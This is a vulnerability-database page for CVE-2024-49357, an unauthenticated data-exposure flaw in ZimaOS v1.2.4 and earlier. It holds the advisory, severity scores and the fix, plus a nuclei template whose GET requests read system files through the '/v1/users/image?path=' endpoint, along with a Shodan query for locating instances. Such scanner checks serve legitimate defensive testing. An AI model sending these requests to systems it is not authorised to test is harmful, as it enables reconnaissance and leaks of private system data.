HexBrain

Browse / CVEs / CVE-2024-49357

CVE-2024-49357· zimaos / zimaos· CWE-200, CWE-862

ZimaOS <= v1.2.4 - Sensitive Information Disclosure

highseverity
7.5CVSS score
23.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

ZimaOS is a fork of CasaOS, an operating system for Zima devices and x86-64 systems with UEFI. In version 1.2.4 and all prior versions, the API endpoints in ZimaOS, such as `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/app_order.json` and `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/system.json`, expose sensitive data like installed applications and system information without requiring any authentication or authorization. This sensitive data leak can be exploited by attackers to gain detailed knowledge about the system setup, installed applications, and other critical information. As of time of publication, no known patched versions are available.

Impact

Attackers can access sensitive system and application data, potentially aiding further malicious activities or reconnaissance.

Fix

Upgrade ZimaOS to v1.2.5 or later.

How to confirm it

Send: GET {{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/app_order.json ; GET {{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/system.json
Positive when: contains "\"installed_apps\":" or "\"os_version\":" or "\"cpu_info\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-49357 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-49357

info:
  name: ZimaOS <= v1.2.4 - Sensitive Information Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    ZimaOS is a fork of CasaOS, an operating system for Zima devices and x86-64 systems with UEFI. In version 1.2.4 and all prior versions, the API endpoints in ZimaOS, such as `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/app_order.json` and `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/system.json`, expose sensitive data like installed applications and system information without requiring any authentication or authorization. This sensitive data leak can be exploited by attackers to gain detailed knowledge about the system setup, installed applications, and other critical information. As of time of publication, no known patched versions are available.
  impact: |
    Attackers can access sensitive system and application data, potentially aiding further malicious activities or reconnaissance.
  remediation: Upgrade ZimaOS to v1.2.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49357
    - https://github.com/IceWhaleTech/ZimaOS/issues
    - https://github.com/advisories/GHSA-hg2h-q5h6-r5c4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-49357
    cwe-id: CWE-200,CWE-862
    epss-score: 0.23655
    epss-percentile: 0.9783
  metadata:
    verified: false
    max-request: 2
    vendor: zimaos
    product: zimaos
    shodan-query: "ZimaOS"
  tags: cve,cve2024,zimaos,casaos,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/app_order.json"
      - "{{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/system.json"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"installed_apps":'
          - '"os_version":'
          - '"cpu_info":'
        condition: or

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from